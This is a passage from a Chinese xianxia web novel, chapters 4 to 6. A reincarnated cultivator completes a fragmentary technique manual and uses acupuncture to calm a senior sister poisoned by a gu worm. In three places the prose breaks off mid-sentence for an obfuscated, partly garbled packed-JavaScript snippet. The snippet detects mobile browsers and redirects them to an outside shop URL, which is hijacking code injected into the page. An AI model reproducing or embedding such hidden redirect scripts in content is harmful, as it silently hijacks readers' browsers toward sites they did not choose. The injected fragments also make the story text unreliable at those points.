房间很小,只有一床、一桌、一凳,床上铺着半旧不新的被褥,看起来倒是洗过。 窗户纸破了几处,用不知什么糊上了,地上还残留着清扫过的痕迹,角落里堆着点没清理干净的杂物。 确实简陋,但对于前世在荒野秘境,甚至魔窟边缘都待过的曲忧来说,这已经算不错了。 她放下包袱,简单整理了一下床铺,天色便已渐渐暗了下来。 道观里没有专门的厨房,也不知平日他们如何解决伙食,曲忧拿出自己带的干粮,就着屋内存着的半瓮冷水,草草吃了些,算是晚餐。 夜幕降临,山林间的寂静被打破,属于归藏宗的独特的“热闹”,开始了。 首先是隔壁房间传来的,震耳欲聋,极有韵律的鼾声,那是师父李玄舟的,鼾声浑厚绵长,穿透薄薄的板壁,仿佛就在耳边打雷。 紧接着,是另一个方向飘来的琴声。琴声断断续续,不成曲调,充斥着哀怨不甘和痛苦,偶尔夹杂着几声压抑破碎的呜咽,是二师姐叶知弦。 她似乎整夜都在弹,在哭,在自言自语着那个不归人,也不知道她究竟经历了怎样的情伤。 然后,房门被轻轻推开一条缝,一个毛茸茸的小脑袋探了进来。 阿绒赤着脚,抱着自己的尾巴尖,眼睛在黑暗中亮晶晶的,怯生生又充满渴望地看着曲忧。 “师……妹?”她小声问,口齿有些不清,“阿绒冷。一起睡,暖和。” 曲忧看着她那副小兽求庇护的模样,心头微软,点了点头。 阿绒立刻欢呼一声,飞快地钻进来,熟门熟路地爬到床上,掀开被子就钻了进来,冰凉的小脚丫和毛茸茸的尾巴立刻缠了上来,紧紧贴着曲忧。 她身上有股淡淡的,类似阳光晒过皮毛的味道,并不难闻。 小家伙似乎很快就睡着了,发出细小的、满足的呼噜声,只是尾巴偶尔会无意识地扫过曲忧的脸颊,耳朵也会轻轻抖动。 远处,大师兄沈见微的石屋方向,隔一段时间,便会传来一声极其轻微,但异常清晰的“嗒”的脆响,是棋子落在棋盘上的声音。 规律,稳定,带着一种冰冷的,与世隔绝的韵律。 而屋顶上,不知何时,响起了不成调的哼唱,偶尔夹杂着酒液入喉的轻微吞咽声,是四师兄简自尘。 他没有点灯,只有月光勾勒出他斜倚屋脊,对月独酌的剪影,哼唱的曲调古怪,时而轻快,时而阴郁,在夜风中飘散。 曲忧躺在硬邦邦的木板床上,耳边是震天的鼾声,哀怨的琴哭,满足的呼噜,规律的落子,古怪的哼唱,身上贴着个冰凉又毛茸茸的“抱枕”……这组合,堪称鸡飞狗跳。 然而在这片毫无章法的,甚至有些可笑的“热闹”中,曲忧闭上眼,心里却奇异地升起一种前所未有的踏实感。 没有需要维持的掌门威严,没有需要权衡的同门关系,没有需要警惕的明枪暗箭,没有需要完成的宗门职责,更没有悬在头顶,名为“剧情”的铡刀。 这里只有一群自顾不暇,各有残缺却也真实不矫饰的人,他们不关心她的过去,不探究她的目的,甚至可能明天就忘了她是谁。 这份“无关”与“真实”,对她而言,竟成了最好的安定剂。 前世被背叛,被抛弃的冰冷恨意,被魔气撕碎的痛苦绝望,似乎被冲淡了些许。 曲忧忽然想,既然来了,暂时也走不了,也不想立刻就走,那能不能,试试看? 试着,在这片破败里,找到自己的落脚点。 试着,治一治这些看起来病得不轻的同门? 哪怕,只是让自己心里,那一道道源自前世的看不见的伤痕,能在治愈他人的过程中,也得到一丝抚慰。 这个念头悄然滋生,带着点不自量力,也带着点微弱却真实的暖意。 第二天清晨,阿绒还在呼呼大睡,抱着尾巴流口水。院外已传来李玄舟早起,或者说根本没怎么睡的动静,依旧是那副宿醉未醒的腔调。 曲忧起身简单洗漱完,走出房门时,看到李玄舟正拎着个空酒葫芦,对着初升的太阳打哈欠。 叶知弦的房门紧闭,琴声已歇,不知是睡了还是怎样,沈见微的石屋毫无声息,简自尘则不见了踪影,屋顶空空。 “醒了?”李玄舟瞥了她一眼,随手从怀里掏出一本薄薄的,边角磨损严重,甚至用麻绳勉强穿在一起的册子,抛出丢给她。 “喏,《归藏心法》。咱们归藏宗唯一能拿得出手的、还算是功法的东西,不过是残卷,缺了不少关键运转路线,能炼出什么效果,看你自己造化。” 他语气随意,甚至带着点不负责任:“看完了,练不了,或者觉得太差,随时可以走。别说我没给你机会。” 曲忧接住册子,册子入手很轻,纸质粗糙泛黄,封面上“归藏心法”四个字都模糊了,后面确实有个小小的、后添上去的“残”字墨迹。 她翻开,里面是手抄的文字和简单的人体经脉图示,墨迹深浅不一,显然经过多次传抄补录。 正如李玄舟所说,好几处关键的灵力运行路线图谱是缺失的,只用虚线模糊表示,或者干脆一片空白,旁边有细小注解说“此处不明”、“疑似有误”、“前辈尝试此处爆体而亡,慎之”。 这已不是简陋,简直是危险了,难怪归藏宗凋零至此,拿着这种功法,能修炼成才怪,不走火入魔都算运气好。 李玄舟看着她低头翻看册子,嘴角扯了扯,没再多说,拎着空酒葫芦,一瘸一拐地往道观后山去了。 曲忧拿着册子,回到自己那间小偏房,阿绒已经醒了,正坐在床上,笨手笨脚地试图把自己乱糟糟的头发和耳朵塞进道袍的帽子里,见她进来,眼睛一亮,含糊地喊:“师妹,早!” 曲忧对她笑了笑,在桌边坐下,开始仔细研读这本《归藏心法(残卷)》。 心法本身并不算特别高深,走的是中正平和,温养经脉的路子,理论上适合大多数灵根奠基。 但缺失的部分,恰恰是连接几个重要窍穴,构成小周天循环的关键,强行按照现有部分修炼,灵力要么滞涩不通,要么在缺失处乱窜,损伤经脉。 李玄舟给她这个,用意很明显。 要么知难而退,要么练出问题自己跑路。他大概压根没指望她能练出什么名堂,甚至可能觉得,她看几眼就会放弃。 曲忧看着那些人体经络图,手指无意识地沿着图中线条滑动,那些陌生的穴道名称,运行路线,在她眼中,却奇异地与她脑海中另一套知识体系隐隐对应起来。 那并不是属于这一世的记忆,而是更久远更模糊,仿佛隔着一层厚重毛玻璃的画面和认知。 不属于修仙界,属于一个叫做“现代”的,没有灵气,但拥有另一种“医学”文明的地方。在那里,人体有奇经八脉,有三百六十五处穴位,有气血运行的理论…… 那些知识残缺不全,像是蒙尘的碎片,此刻却被眼前的经络图触动,微微亮了起来。 曲忧盯着心法缺失的那几处,按照图中标示的上下穴位和灵力流向趋势,再结合那些模糊的现代医学知识中对经络衔接,气血枢纽的认知,她尝试着用手指在虚空中,勾勒出几条可能的连接线路。 “这里,手太阴肺经的‘列缺’与‘经渠’之间,按气血循行,应有旁支连通‘偏历’,或许可以引导灵力由此浅尝即过,再汇入‘温溜’……” “足少阴肾经的‘照海’与‘水泉’,缺了中间‘大钟’的转圜,灵力至此必生涩痛,若以‘太溪’为暂驻之中转,徐徐图之……” 曲忧完全沉浸其中,凭借那点来自异世的医学常识,和前世百余年修炼对灵力运行的敏锐直觉,小心翼翼地推演、补全。 这过程极其耗神, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17491777|202265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 额头很快渗出细密的汗珠。 不知不觉,日头已近正午。 曲忧放下酸痛的手指,看着面前被她用炭笔在废纸上涂改勾画了无数遍的,勉强连贯起来的几处小周天路线。 心里有些忐忑,但也有一股压抑不住的跃跃欲试。 她知道这很冒险,两种不同体系的知识勉强嫁接,稍有不慎,可能就是经脉受损。 但她更知道,如果按部就班,或者放弃,那她就真的只能在这里“混吃等死”,甚至等不到魔修灭门,自己就先废了。 她不能用记忆中天衍宗的功法修炼,那会带来无穷无尽的麻烦,她更不想和所谓的剧情扯上关系,但她现在需要力量,哪怕只是一点点自保的力量。 而这本残卷,是眼下唯一的希望。 盘膝坐到硬板床上,摒弃杂念,曲忧深吸一口气,按照自己补全后的路线,尝试引导体内那微弱得几乎不存在的先天之气。 气息微弱如丝,小心翼翼地沿着既定的陌生路径游走,经过那几个她自己“设计”的连接点时,她能感觉到气息的滞涩和微微的刺痛,仿佛在开拓一条从未有人走过的荒径。 但她心性坚毅,前世能修至元婴,心志非同一般。 曲忧稳住心神,不急不躁,以意念缓缓温养,疏导,将那份刺痛视为必经的磨砺。 一个时辰,两个时辰…… 窗外日影西斜,阿绒跑出去玩了又回来,趴在门口好奇地看着她,不敢打扰。 夜幕再次降临。 曲忧依旧闭目端坐,周身气息却隐隐有了一丝不同。 那丝微弱的先天之气,在她坚持不懈的引导和那“补全心法”的作用下,渐渐壮大,变得温热,最终在丹田处轻轻一震,化作一缕比发丝还要纤细、却真实不虚的冰凉气流。 炼气一层!引气入体,成了! 而且,那气流精纯凝练,带着天品冰灵根特有的凛冽寒意,运转间毫无滞碍,顺着她补全的路线顺畅游走,每完成一个小周天,便壮大一分,并自发地滋养着沿途经脉。 曲忧缓缓睁开眼,眸中似有冰蓝流光一闪而逝,随即隐没。 她摊开手掌,心念微动,一丝微不可察的白色寒气在她指尖萦绕,带来冰凉的触感。 真的……成功了。 不仅成功引气入体,而且这自补的心法路线,似乎异常契合她的冰灵根,效率颇高。 就在曲忧心中微喜,细细体会这久违的,虽然极其微弱力量感时,房门被猛地推开。 李玄舟站在门口,手里还拎着那个似乎永远喝不完的酒葫芦。 他脸上没了白天的懒散和醉意,一双眼睛锐利如鹰,紧紧盯着曲忧,尤其在她尚未完全散去寒气的指尖停留了一瞬。 他自然是感应到了刚才那引气入体时轻微却精纯的灵气波动,这破道观里,除了眼前这小丫头,没别人能弄出这动静。 可是,这怎么可能?! 那本《归藏心法(残卷)》是什么货色,他比谁都清楚,那是他当年心灰意冷时,随手丢在杂物堆里,准备让它烂掉的玩意儿。 给曲忧,纯粹是想让她知难而退,最不济,练不出名堂自己走人。 他预想中,这小丫头要么看一眼就丢开,要么尝试后气息紊乱脸色发白,最迟三五天,就会灰溜溜地下山。 可现在……一天!不,还不到一天,最多半天的时间,她就引气入体了?!还是用那本无法修炼的残卷?! 而且,刚才那一闪而逝的灵气波动,精纯凝练,绝非胡乱练成的虚浮之气。这只能说明,她不仅练了,还练成了!甚至可能补全了那残缺的部分? 李玄舟的目光落在曲忧手边那写满炭笔勾画的废纸上,又移回曲忧平静中带着一丝疲倦,却难掩清亮的眼眸。 这一刻,这个颓废了不知多少年的瘸腿酒鬼,心中掀起了惊涛骇浪。 震惊,荒谬,不敢置信……还有一丝被他深埋心底,几乎快要遗忘的,名为“希望”的悸动,以及随之而来的,更沉重的愧疚与茫然。 李玄舟张了张嘴,似乎想说什么,喉咙却像被什么东西堵住了。 最终,他只是深深,深深地看了曲忧一眼,那眼神复杂得难以形容。 然后,他什么也没说,猛地转过身,拎着酒葫芦,脚步有些踉跄地,飞快地消失在了门外渐浓的夜色中。 仿佛多待一秒,那被他用醉酒和颓唐掩盖了太久的东西,就会不受控制地破土而出。 曲忧看着他几乎是仓皇离去的背影,指尖那缕寒气缓缓消散。 5. 第 5 章 * 天光微亮,道观还沉浸在破晓前的寂静里,只有远处偶尔传来的鸟啼。 曲忧已结束了清晨的打坐,炼气一层的灵力在补全心法路线的运转下,又凝实了一丝,她刚吐出一口浊气,房门就被“吱呀”一声推开条缝。 一颗毛茸茸的,顶着乱发和耳朵的小脑袋探了进来,琥珀色的圆眼睛怯生生又充满期待地看着她,正是阿绒。 “师、妹?”她口齿含糊,抱着自己蓬松的大尾巴,光着脚丫站在门口,“阿绒醒了。找师妹。” 曲忧对她招招手,阿绒立刻像得到许可的小狗,欢快地蹦进来,很自然地蹭到曲忧身边,把自己塞进她怀里,还不忘把尾巴也搭在她腿上,冰凉的小脚丫往曲忧衣摆下钻,寻找暖和地方。 “冷。”她小声说,耳朵无意识地抖了抖。 曲忧有些失笑,摸了摸她乱糟糟的头发,触手有些打结:“怎么不梳头?” “不、不会。”阿绒摇头,耳朵随着动作晃动,蹭得曲忧手心痒痒的。 她似乎很享受曲忧的抚摸,喉咙里发出咕噜咕噜的声音,眯起了眼睛。 曲忧起身,去自己包袱里翻找,她东西极少,只找到一把半旧的木梳,她让阿绒坐在床边,自己站在她身后,开始慢慢地给她梳理那头乱发。 阿绒的头发细软,带着点天然微卷,发间那对棕红色的狐耳触感温热柔软,耳廓内侧的绒毛尤其细密。 然而,当木梳无意间碰到阿绒左耳根后方时,阿绒忽然轻轻“嘶”了一声,身体一僵,耳朵飞快地向后抿去,变成了飞机耳,做出一个防卫的姿态。 “痛?”曲忧立刻停手,放下木梳,手指轻轻拨开阿绒耳根处的毛发。 只见靠近头皮,耳根后方一处隐蔽的位置,皮肤颜色比其他地方深,呈暗红色,微微隆起,像是陈年的淤伤,又像是某种反噬留下的印记。 伤口附近,似乎有极其微弱,杂乱且充满躁动不安的妖力在萦绕,与她体内那懵懂平和的妖力本源格格不入,隐隐形成冲突。 曲忧前世虽非医修,但元婴修士的见识和对灵力的敏感仍在。 她立刻意识到,这恐怕是阿绒身为半妖,未能妥善掌控自身妖力,在某种情况下,可能是情绪剧烈波动、或受伤时妖力暴走,又被强行压制后留下的暗伤。 这处暗伤如同一个堵塞的淤点,阻碍了妖力在耳部经脉的运行,而对妖族而言,耳、尾等显化部位往往是妖力流转关键处,或许也是导致她心智成长缓慢,兽性本能偏强的原因之一。 阿绒自己似乎对这处暗伤习以为常,只是觉得被碰到会痛,很快又放松下来,继续蹭曲忧的手,含糊道:“痒,痛痛,不能碰。” 曲忧心下了然,她看着眼前这个心智如孩童,对自己身体状况懵懂无知的半妖师姐,想起昨夜那点“试着治治他们”的念头。 或许,可以从最简单、最直接的开始? 曲忧指尖凝聚起一丝刚刚修炼出的,微薄却精纯的冰灵力。 冰属性灵力本身具有镇静、梳理、甚至微弱镇痛的效果,她控制着这丝灵力,使其变得极其柔和,缓缓探向阿绒耳根那处暗伤。 灵力触及暗伤的瞬间,阿绒身体又是一颤,但这次不是因为痛,而是感觉到一股从未有过的,清凉舒适的气流,涌入那总是隐隐作痛,让她烦躁的地方。 清凉气流所过之处,淤塞燥热的妖力仿佛被一只温柔的手轻轻抚平捋顺,刺痛感大为减轻,取而代之的是一种难以言喻的松快。 “唔……”阿绒不自觉地发出一声舒服的喟叹,整个身体都软了下来,像一滩水似的靠在曲忧身上。 她的耳朵重新舒展开,甚至讨好般地,主动将受伤的那边耳朵往曲忧手心送了送,尾巴也欢快地摇摆起来,扫过床沿:“师妹……好舒服,凉凉的……” 她眯着眼,喉咙里的呼噜声更响亮了,全然信赖地将自己最脆弱,最痛的地方交给这个新来的,会让她舒服的师妹。 曲忧小心地控制着那一丝灵力,不敢贪多,只在那暗伤附近最表浅的脉络中缓缓游走梳理,将那些躁动杂乱的妖力稍稍安抚。 她能感觉到,阿绒体内那原本有些滞涩的妖力循环,似乎因为这一点点的疏通而变得顺畅了一丝。 这并非治疗,顶多算是缓解,但看到阿绒那全然放松,依赖满足的模样,曲忧心底那处因前世冰冷背叛而坚冻的地方,还是被这单纯的信赖和暖意融化了一角。 曲忧嘴角不自觉地弯起一点弧度,继续轻柔地梳理着阿绒的头发,用指尖那点微末灵力,笨拙地尝试性地安抚着她的伤痛。 平静的上午很快过去,午后,阳光变得有些慵懒。 曲忧坐在院中一块还算平整的石头上,默默揣摩炼气一层灵力运用的细微之处,忽然听到东厢传来一阵激烈的琴弦崩响,紧接着是器物倒地的声音和一声痛苦压抑的哀鸣。 是二师姐叶知弦的房间。 还没等曲忧起身去看,房门被猛地撞开,叶知弦跌跌撞撞地冲了出来。 她依旧是那身素色衣裙,但此刻发髻散乱,脸色惨白如纸,嘴唇却是不正常的嫣红,眼神涣散狂乱,怀里死死抱着她那把焦尾琴,仿佛那是唯一的浮木。 “我要去找他……玉郎,我要去问他,为什么骗我!为什么不要我!”她嘶声喊着,声音尖锐破碎,完全失去了平日那种哀婉的美感,只剩癫狂。 她不管不顾地就要往道观外冲。 “知弦!回来!”李玄舟不知何时出现在正屋门口,眉头紧锁,想要阻拦。 但他腿脚不便,动作慢了一拍,叶知弦已经冲到了院门口。 阿绒被这动静吓到,从曲忧身后探出头,看到叶知弦那可怕的样子,小脸一白,“哇”地一声哭了出来,抱着尾巴缩到曲忧腿后,瑟瑟发抖:“二师姐,怕……呜呜……” 沈见微的石屋方向,石门纹丝不动,里面落子的声音似乎停顿了一瞬,随即又“嗒”地一声落下,比之前更重,带着点不耐的冷意,却依旧无人现身。 而屋顶上,不知何时又斜倚在那里的简自尘,黑发红瞳,正托着腮,好整以暇地看着院中的混乱,嘴角那抹似笑非笑的弧度更深了些,血瞳中闪烁着纯粹的,看热闹不嫌事大的兴味。 李玄舟一瘸一拐追了两步,拦之不及,脸色难看,他并非真的控制不住此刻神志不清,修为似乎也出了问题的叶知弦,但似乎有所顾忌,不愿用强。 眼看叶知弦就要冲出那扇破败的院门,消失在下山的小径上—— 一道纤细的身影,挡在了门前。 是曲忧。 她不知何时已起身,几步跨到了院门内侧,正正好好挡住了叶知弦的去路。 她身形比叶知弦矮一些,气势却沉静如山,面对状若疯魔的二师姐,脸上没有丝毫惧色。 “让开!”叶知弦眼神涣散地瞪着她,抬手就要推搡,“我要去找他,你凭什么拦我!” 曲忧不避不让,只抬起清亮的眼眸,看着叶知弦,声音不大,却异常清晰冷静,带着一种奇异的穿透力,直击叶知弦混乱的心神: “二 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17491778|202265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 师姐,你现在这副样子去找他,他会怎么看你?” 叶知弦推搡的动作猛地一顿,涣散的眼神里出现一丝茫然。 曲忧继续道,语气平铺直叙,却字字如锥:“他会觉得你疯癫,觉得你不堪,觉得你离了他就活不下去。他会更看不起你,更觉得当初离开你是对的。” “你现在去,不是问他要答案,是去给他递刀子,让他再捅你一次,顺便向所有人证明,你叶知弦,就是个彻头彻尾的笑话。” 这些话,毫不留情,甚至有些残忍,但对付陷入执念癫狂的人,温言软语往往无用,当头棒喝或许能激起一丝清醒。 叶知弦呆住了,脸上癫狂的神色凝固,那双漂亮却无神的眼睛里,迅速弥漫起巨大的痛苦和迷茫,还有一丝被戳中最不堪处的难堪。 她张了张嘴,似乎想反驳,却发不出声音,身体晃了晃,怀里的琴抱得更紧,指节捏得发白。 趁她愣神的这一刹那,曲忧上前一步,不容分说地握住了她一只冰凉颤抖的手腕,指腹精准地按在了腕间“寸关尺”的位置。 这个动作,完全出于一种近乎本能的反应。 仿佛在某个遥远模糊的记忆里,她曾无数次这样做过——将手指搭在他人腕间,感知皮肉之下气血的奔流与异动。 属于炼气一层的那一丝微薄灵力,顺着她的指尖,小心翼翼,却又带着某种笃定地探入叶知弦的经脉。 灵力甫一进入,曲忧便感觉到一股强烈的滞涩和混乱。 叶知弦体内的灵力运行极其不稳,多处经脉郁结,气血翻腾,而在她心脉附近,更有一股阴寒、滑腻、充满邪异生机的力量盘踞着。 像一条冰冷的毒蛇,随着叶知弦情绪的剧烈波动而兴奋地扭动,不断散发出一股惑乱心神,催发情志的诡异波动。 蛊虫?! 曲忧心头顿时一凛。 虽然她前世对蛊毒之术并无涉猎,但这股力量的特性,与记载中某些惑心控情类蛊虫极为相似。 原来二师姐的“疯”,并非简单的情伤,根源竟是在此! 叶知弦似乎也感觉到了那股探入体内,带着冰凉安抚意味的微弱灵力,这陌生的触感让她从混乱中略微回神,低头看向自己被握住的手腕,又看向曲忧近在咫尺,满是凝重与专注的脸庞。 “你……”她声音嘶哑,带着未散的颤抖。 曲忧已收回了手和灵力,抬眸看她,眼神平静中带着不容置疑的力度:“二师姐,你病了。不是心病,是身中奇毒,蛊毒攻心,现在去,不仅问不到答案,反而会激发毒性,危及性命。” 曲忧顿了顿,声音放柔了些,却依旧坚定:“先回去冷静下来,这毒,或许……有办法解。” 叶知弦怔怔地看着她,眼中的疯狂和痛苦如潮水般退去些许,露出底下深深的疲惫脆弱,以及一丝不敢置信的,微弱的希冀。 她抱着琴的手臂微微发抖,最终,像是被抽干了所有力气,膝盖一软,就要向地上倒去。 曲忧早有准备,上前一步扶住了她。 另一边,屋顶上的简自尘,不知何时已坐直了身体,手里把玩着长剑,血红的眸子盯着院中扶住叶知弦的曲忧,眼中那抹玩味的笑意淡去,取而代之的是一种更深的,带着探究和兴味的幽光。 他轻轻晃了晃手里的剑,低声自语,也不知道在和谁说:“啧,不仅能补全心法,一日引气,还能一眼看出蛊毒,镇住疯女人……” “有意思。” “你看,这位新来的小师妹,可真是太有意思了。” 6. 第 6 章 叶知弦最终还是被曲忧半扶半搀地弄回了房间。 她瘫坐在床边,抱着琴,眼神空洞地望着前方,身体仍在细微地颤抖,脸色比刚才更白了几分,嘴唇上的嫣红却诡异地加深了。 蛊毒被强行压制,又似乎激起了某种反扑。 曲忧将她安置好,转身出了房门,径直走向正屋。 李玄舟还站在门口,手里拎着酒葫芦,脸上没什么表情,但眼神复杂地回想刚才发生的一切,见曲忧走过来,他挑了挑眉。 “师父,”曲忧开门见山,“我需要一套银针,越长越好,越细越好。有吗?” “银针?”李玄舟愣了一下,显然没料到她会要这个。 修仙界疗伤治病多用丹药、符箓、灵力疏导,凡俗医者用的银针实在是稀罕物,尤其在这破道观里。 李玄舟皱着眉想了想,又打量了曲忧几眼,似乎想从她脸上看出朵花来。 “你要那玩意儿干嘛?给知弦用?”他语气带着明显的不信和怀疑,“她那毛病不是几根针能解决的。” 他显然知道叶知弦的问题不简单,但具体是什么,或许知道,或许不知全貌。 “我知道。”曲忧点头,语气平静却不容置疑,“但我需要试试,至少先让她清醒过来,能控制自己。师父,有,还是没有?” 李玄舟盯着她看了几秒,最终啧了一声,拖着瘸腿转身进了他那间同样简陋的正屋。 里面传来一阵翻箱倒柜,叮呤咣啷的声音,还夹杂着几声被灰尘呛到的咳嗽和含糊的咒骂。 好一会儿,他才灰头土脸地出来,手里拿着一个巴掌大小,黑乎乎看不出本来材质的扁盒子,随手丢给曲忧。 “喏,不知道多少年前哪个不长眼的家伙落下的,估计是凡俗的玩意儿。在库房……咳,杂物堆底下压箱底,差点当了垫桌脚的。能用就用,不能用就扔。” 他说得轻描淡写,但曲忧接过盒子时,入手微沉,盒子非木非石,触手冰凉,上面似乎还残留着一点极淡的,被岁月磨蚀的灵性,这绝非凡品。 她没做声,打开盒子,里面是两排细长的银针,虽然也蒙了尘,有些发黑,但针体笔直,针尖在透过门板的微光下反射出一点寒芒,保存得意外完好。 曲忧抽出一根,手指捻动,感受着针身的弹性和重量,一种难以言喻的,混合着陌生与熟悉的奇异感觉涌上心头。 她似乎……曾经无数次做过这个动作。 在某个窗明几净,弥漫着草药清香的房间里,对着一个模糊的,总是带着温和笑意的老者身影,小心翼翼地捻动银针,刺入那些标示着穴位的,泛黄的皮质人偶。 “手要稳,心要静。力道、角度、深浅,差之毫厘,谬以千里。”老者的声音慈祥而严格,仿佛还在耳边。 “小忧啊,你这双手,天生就是吃这碗饭的。稳,准,灵性足。”夸奖的话语带着笑意,可那老者的面容,却像隔着一层厚重的水雾,无论如何也看不清了。 是“前世”的记忆吗?不,是更遥远的,属于那个“现代”的被遗忘的碎片。 那个世界里,她似乎曾是个学医的?还是中医? 曲忧定了定神,将那股突如其来的恍惚和微弱的怅然压下去,现在不是回忆的时候。 她取了几根合适的银针,又从自己那点可怜的行李里找出火折子,在院子里找了点干草枯枝,简单生了一小堆火,将银针在火上快速燎过消毒,她隐约记得,似乎该这么做。 李玄舟在一旁看着,没阻止,也没帮忙,只是眼神更深了些,握着酒葫芦的手指无意识地收紧。 屋顶上,简自尘不知何时换了个姿势,侧躺在屋脊,一手支着头,另一只手百无聊赖地晃着长剑,血红的眸子却一瞬不瞬地盯着下面曲忧利落的动作,嘴角那抹玩味的弧度就没下去过。 阿绒还躲在曲忧原本坐的那块石头后面,只露出一双眼睛和毛茸茸的耳朵尖,害怕又好奇地看着。 曲忧拿着消毒好的银针,重新回到叶知弦的房间。 叶知弦还维持着刚才的姿势,但呼吸更显急促,额头渗出细密的冷汗,显然在与体内的蛊毒对抗。 “二师姐,放松,信我。”曲忧低声说,声音带着一种奇异的安抚力量。 叶知弦涣散的眼神勉强聚焦在她脸上,看着她手中那寒光闪闪的细针,眼中闪过一丝恐惧,但更多的是麻木和认命。 她闭上眼,微微点了点头。 曲忧不再犹豫,她回忆着刚才探查时感知到的蛊虫活跃方位和灵力郁结点,结合脑海中那些模糊却顽固的,关于人体穴位的认知。 手起,针落。 “神门”,宁心安神。 “内关”,宽胸理气,镇静止痛。 “膻中”,理气宽胸,平喘止咳,兼可调节上焦气机。 “心俞”,与“神门”呼应,加强安神定志之效。 她的动作并不快,甚至可以说有些生疏,但每一针落下,都异常稳定精准。 指尖那微弱的冰灵力,顺着银针渡入穴位,带着清凉镇静之意,精准地刺向那躁动蛊毒盘踞的周边区域。 并非直接攻击蛊虫,而是疏通被蛊毒影响而郁结的气血,安抚因此紊乱的心神,从外围削弱蛊虫的活跃环境。 叶知弦的身体随着银针的刺入,微微颤抖,但很快,她紧蹙的眉头松开了些许,急促的呼吸渐渐平缓,脸上不正常的潮红和惨白交错之色开始消退,眼神也慢慢恢复了一丝清明。 最后一根针,曲忧冒险尝试,刺在了“蠡沟”穴附近,与肝经相关,肝主疏泄,或许能稍稍影响蛊毒赖以生存的某种养分或环境。 落下时,叶知弦猛地吐出一口带着淡淡腥气的浊气,整个人仿佛虚脱般向后靠去,眼神已然恢复了焦距,虽然依旧疲惫痛苦,却不再是狂乱。 她看着曲忧,看着这个才来一天,却用几根凡俗银针和微末灵力,就将她从癫狂边缘拉回来的小师妹,眼泪毫无预兆地大颗大颗地滚落下来。 “我……”她声音嘶哑得厉害,带着浓重的哭腔和绝望,“我控制不住……每次,每次都像有东西在咬我的心,扯着我的魂,让我忍不住想他,想去找他,哪怕明知道是错,我控制不住啊……” 这清醒的痛苦,比癫狂时更甚。 曲忧默默地将银针一一取下,用干净的布擦拭收好,然后,她走上前,在叶知弦有些怔愣的目光中,轻轻抱了抱她。 怀抱很轻,一触即分,却带着不容置疑的暖意和支撑。 “以后发作,”曲忧看着她,声音清晰而坚定,“就来找我。我或许不能立刻根治,但至少能让你清醒过来,不那么难受。” 叶知弦的眼泪流得更凶了,她用力点头,嘴唇颤抖着,想说谢谢,却发不出完整的音节,只能死死抱着怀里的琴,仿佛那是她此刻唯一的支点。 曲忧没再多说,转身出了房间,轻轻带上了门,她知道,叶知弦需要时间独自消化这份短暂的清醒和巨大的痛苦。 院子里,阳光正好。 阿绒见她出来,立刻从石头后面跑出来,扑到她腿边,仰着小脸,眼睛红红的:“二师姐……不哭了?” “嗯,暂时好了。”曲忧摸了摸她的头。 阿绒立刻破涕为笑,用脑袋蹭她手心:“师妹厉害!” 屋顶上,传来一声轻笑,带着说不出的磁性,慢悠悠地飘下来。 “哟,我们的小师妹,不仅是个天才,还是个神医啊?几根破针,就能把她的魂喊回来?” 曲忧抬起头。 简自尘不知何时已从侧躺变成了坐姿,一条腿曲起,手臂搭在膝上,另一条腿随意地垂在屋檐外晃荡。 阳光落在他身上,那头黑发流淌着墨玉般的光泽,血红的眸子在日光下颜色似乎浅了些,却更显妖异。 他正微微倾身,垂眸看着她,嘴角噙着那抹标志性的,带着邪气和玩味的笑。 “四师兄过奖了。”曲忧收回目光,语气平淡,听不出喜怒,“雕虫小技,让师兄看笑话了。” “雕虫小技?”简自尘挑眉,晃了晃手中的长剑,“能让那女人清醒过来的‘ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17491779|202265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雕虫小技’,整个归藏宗,怕是只有你会了。” “连咱们‘神通广大’的师父……”他意有所指地瞥了一眼不知何时又坐回藤椅,闭目假寐,仿佛一切与他无关的李玄舟,拖长了语调,“都束手无策呢。” 曲忧没接这话。 她走到院子角落,那里有个半破的水缸,里面存着点雨水,她舀水洗手,方才施针,到底还是出了些薄汗。 “不过,”简自尘的声音又慢悠悠地响起,他从屋顶跃下,悄无声息地落在曲忧身后不远处,隔着几步距离,存在感却强得让人无法忽视,“师妹这手医术是打哪儿学来的?凡间的郎中,可没这本事治修仙者的‘病’,尤其是……蛊。” 最后那个“蛊”字,他吐得极轻,带着一种冰冷的意味,血瞳锁在曲忧洗手的背影上。 曲忧动作一顿,随即继续仔细地清洗每一根手指,水声哗啦。 “家传的。”她面不改色地扯谎,声音透过水声传来,有些模糊,“乡下土法子,不值一提,碰巧对二师姐的症状有点用罢了。” 